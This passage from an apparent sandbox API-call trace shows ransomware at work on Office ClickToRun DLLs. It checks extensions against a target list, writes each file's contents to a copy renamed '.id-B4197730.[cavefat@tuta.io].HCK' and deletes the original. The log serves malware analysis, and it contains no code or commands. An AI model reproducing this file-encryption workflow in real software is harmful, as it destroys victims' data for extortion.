lpNumberOfBytesWritten=0x2d4fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e16020*, lpNumberOfBytesWritten=0x2d4fc80*=0x40000, lpOverlapped=0x0) returned 1 [0163.842] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x1028ea, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc74 | out: lpNewFilePointer=0x0) returned 1 [0163.842] WriteFile (in: hFile=0x388, lpBuffer=0x3e16020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d4fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e16020*, lpNumberOfBytesWritten=0x2d4fc80*=0x40000, lpOverlapped=0x0) returned 1 [0163.845] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x2c7ac0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fc74 | out: lpNewFilePointer=0x0) returned 1 [0163.845] WriteFile (in: hFile=0x388, lpBuffer=0x3e16020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d4fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e16020*, lpNumberOfBytesWritten=0x2d4fc80*=0x40000, lpOverlapped=0x0) returned 1 [0163.849] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3e16020 | out: hHeap=0x6b0000) returned 1 [0163.852] CloseHandle (hObject=0x388) returned 1 [0163.852] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0163.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0163.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0163.852] lstrlenW (lpString=".doc") returned 4 [0163.852] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0163.852] lstrlenW (lpString=".docx") returned 5 [0163.852] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0163.852] lstrlenW (lpString=".pdf") returned 4 [0163.852] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0163.852] lstrlenW (lpString=".xls") returned 4 [0163.852] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0163.852] lstrlenW (lpString=".xlsx") returned 5 [0163.852] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0163.852] lstrlenW (lpString=".ppt") returned 4 [0163.852] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0163.852] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0163.852] lstrlenW (lpString=".zip") returned 4 [0163.852] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0163.853] lstrlenW (lpString=".rar") returned 4 [0163.853] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0163.853] lstrlenW (lpString=".bz2") returned 4 [0163.853] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0163.853] lstrlenW (lpString=".7z") returned 3 [0163.853] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0163.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0163.853] lstrlenW (lpString=".dbf") returned 4 [0163.853] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0163.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0163.853] lstrlenW (lpString=".1cd") returned 4 [0163.853] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0163.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0163.853] lstrlenW (lpString=".jpg") returned 4 [0163.853] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0163.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0163.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0163.853] lstrlenW (lpString=".doc") returned 4 [0163.853] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0163.853] lstrlenW (lpString=".docx") returned 5 [0163.853] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0163.853] lstrlenW (lpString=".pdf") returned 4 [0163.853] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0163.853] lstrlenW (lpString=".xls") returned 4 [0163.853] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0163.853] lstrlenW (lpString=".xlsx") returned 5 [0163.853] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0163.853] lstrlenW (lpString=".ppt") returned 4 [0163.853] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0163.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0163.853] lstrlenW (lpString=".zip") returned 4 [0163.853] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0163.853] lstrlenW (lpString=".rar") returned 4 [0163.853] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0163.853] lstrlenW (lpString=".bz2") returned 4 [0163.853] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0163.853] lstrlenW (lpString=".7z") returned 3 [0163.853] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0163.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0163.853] lstrlenW (lpString=".dbf") returned 4 [0163.853] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0163.853] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0163.853] lstrlenW (lpString=".1cd") returned 4 [0163.853] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0163.854] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll") returned 72 [0163.854] lstrlenW (lpString=".jpg") returned 4 [0163.854] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0163.854] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0163.854] lstrlenW (lpString="msointl30.en-us.dll") returned 19 [0163.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0163.854] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=61024) returned 1 [0163.854] CloseHandle (hObject=0x388) returned 1 [0163.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 0x20 [0163.854] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0163.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0163.854] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.854] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.854] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0163.855] GetLastError () returned 0x0 [0163.856] ReadFile (in: hFile=0x388, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0xee60, lpOverlapped=0x0) returned 1 [0163.860] WriteFile (in: hFile=0x364, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xee70, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xee70, lpOverlapped=0x0) returned 1 [0163.861] ReadFile (in: hFile=0x388, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.861] WriteFile (in: hFile=0x364, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xfa, lpOverlapped=0x0) returned 1 [0163.861] SetEndOfFile (hFile=0x364) returned 1 [0163.861] CloseHandle (hObject=0x364) returned 1 [0163.862] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.862] SetEndOfFile (hFile=0x388) returned 1 [0163.862] CloseHandle (hObject=0x388) returned 1 [0163.862] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0163.863] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msointl30.en-us.dll")) returned 1 [0163.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0163.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0163.863] lstrlenW (lpString=".doc") returned 4 [0163.863] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0163.863] lstrlenW (lpString=".docx") returned 5 [0163.863] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0163.863] lstrlenW (lpString=".pdf") returned 4 [0163.863] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0163.863] lstrlenW (lpString=".xls") returned 4 [0163.864] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0163.864] lstrlenW (lpString=".xlsx") returned 5 [0163.864] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0163.864] lstrlenW (lpString=".ppt") returned 4 [0163.864] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0163.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0163.864] lstrlenW (lpString=".zip") returned 4 [0163.864] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0163.864] lstrlenW (lpString=".rar") returned 4 [0163.864] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0163.864] lstrlenW (lpString=".bz2") returned 4 [0163.864] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0163.864] lstrlenW (lpString=".7z") returned 3 [0163.864] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0163.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0163.864] lstrlenW (lpString=".dbf") returned 4 [0163.864] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0163.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0163.864] lstrlenW (lpString=".1cd") returned 4 [0163.864] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0163.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0163.864] lstrlenW (lpString=".jpg") returned 4 [0163.864] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0163.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0163.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0163.864] lstrlenW (lpString=".doc") returned 4 [0163.864] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0163.864] lstrlenW (lpString=".docx") returned 5 [0163.864] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0163.864] lstrlenW (lpString=".pdf") returned 4 [0163.864] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0163.864] lstrlenW (lpString=".xls") returned 4 [0163.864] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0163.864] lstrlenW (lpString=".xlsx") returned 5 [0163.864] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0163.864] lstrlenW (lpString=".ppt") returned 4 [0163.864] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0163.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0163.864] lstrlenW (lpString=".zip") returned 4 [0163.864] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0163.864] lstrlenW (lpString=".rar") returned 4 [0163.864] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0163.864] lstrlenW (lpString=".bz2") returned 4 [0163.865] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0163.865] lstrlenW (lpString=".7z") returned 3 [0163.865] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0163.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0163.865] lstrlenW (lpString=".dbf") returned 4 [0163.865] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0163.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0163.865] lstrlenW (lpString=".1cd") returned 4 [0163.865] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0163.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll") returned 77 [0163.865] lstrlenW (lpString=".jpg") returned 4 [0163.865] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0163.865] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0163.865] lstrlenW (lpString="msvcp120.dll") returned 12 [0163.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0163.865] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=660136) returned 1 [0163.865] CloseHandle (hObject=0x388) returned 1 [0163.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll")) returned 0x20 [0163.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0163.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0163.866] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.866] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0163.866] GetLastError () returned 0x0 [0163.866] ReadFile (in: hFile=0x388, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0xa12a8, lpOverlapped=0x0) returned 1 [0163.879] WriteFile (in: hFile=0x364, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xa12b0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xa12b0, lpOverlapped=0x0) returned 1 [0163.886] ReadFile (in: hFile=0x388, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.886] WriteFile (in: hFile=0x364, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0163.886] SetEndOfFile (hFile=0x364) returned 1 [0163.886] CloseHandle (hObject=0x364) returned 1 [0163.887] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.887] SetEndOfFile (hFile=0x388) returned 1 [0164.324] CloseHandle (hObject=0x388) returned 1 [0164.324] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0164.325] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll")) returned 1 [0164.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0164.467] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0164.467] lstrlenW (lpString=".doc") returned 4 [0164.467] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0164.467] lstrlenW (lpString=".docx") returned 5 [0164.467] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0164.467] lstrlenW (lpString=".pdf") returned 4 [0164.467] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0164.467] lstrlenW (lpString=".xls") returned 4 [0164.467] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0164.467] lstrlenW (lpString=".xlsx") returned 5 [0164.467] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0164.467] lstrlenW (lpString=".ppt") returned 4 [0164.467] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0164.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0164.468] lstrlenW (lpString=".zip") returned 4 [0164.468] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0164.468] lstrlenW (lpString=".rar") returned 4 [0164.468] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0164.468] lstrlenW (lpString=".bz2") returned 4 [0164.468] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0164.468] lstrlenW (lpString=".7z") returned 3 [0164.468] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0164.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0164.468] lstrlenW (lpString=".dbf") returned 4 [0164.468] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0164.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0164.468] lstrlenW (lpString=".1cd") returned 4 [0164.468] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0164.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0164.468] lstrlenW (lpString=".jpg") returned 4 [0164.468] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0164.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0164.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0164.468] lstrlenW (lpString=".doc") returned 4 [0164.468] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0164.468] lstrlenW (lpString=".docx") returned 5 [0164.468] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0164.468] lstrlenW (lpString=".pdf") returned 4 [0164.468] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0164.468] lstrlenW (lpString=".xls") returned 4 [0164.468] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0164.468] lstrlenW (lpString=".xlsx") returned 5 [0164.468] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0164.468] lstrlenW (lpString=".ppt") returned 4 [0164.468] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0164.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0164.468] lstrlenW (lpString=".zip") returned 4 [0164.468] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0164.468] lstrlenW (lpString=".rar") returned 4 [0164.468] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0164.468] lstrlenW (lpString=".bz2") returned 4 [0164.468] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0164.468] lstrlenW (lpString=".7z") returned 3 [0164.468] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0164.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0164.468] lstrlenW (lpString=".dbf") returned 4 [0164.468] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0164.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0164.468] lstrlenW (lpString=".1cd") returned 4 [0164.468] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0164.468] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70 [0164.468] lstrlenW (lpString=".jpg") returned 4 [0164.468] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0164.469] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0164.469] lstrlenW (lpString="OfficeC2RCom.dll") returned 16 [0164.469] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0164.612] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=996568) returned 1 [0164.612] CloseHandle (hObject=0x390) returned 1 [0164.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20 [0164.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0164.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0164.612] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.612] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0164.612] GetLastError () returned 0x0 [0164.612] ReadFile (in: hFile=0x390, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0xf34d8, lpOverlapped=0x0) returned 1 [0164.671] WriteFile (in: hFile=0x364, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xf34e0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf34e0, lpOverlapped=0x0) returned 1 [0164.682] ReadFile (in: hFile=0x390, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0164.682] WriteFile (in: hFile=0x364, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf4, lpOverlapped=0x0) returned 1 [0164.682] SetEndOfFile (hFile=0x364) returned 1 [0164.682] CloseHandle (hObject=0x364) returned 1 [0164.682] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0164.682] SetEndOfFile (hFile=0x390) returned 1 [0165.131] CloseHandle (hObject=0x390) returned 1 [0165.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft 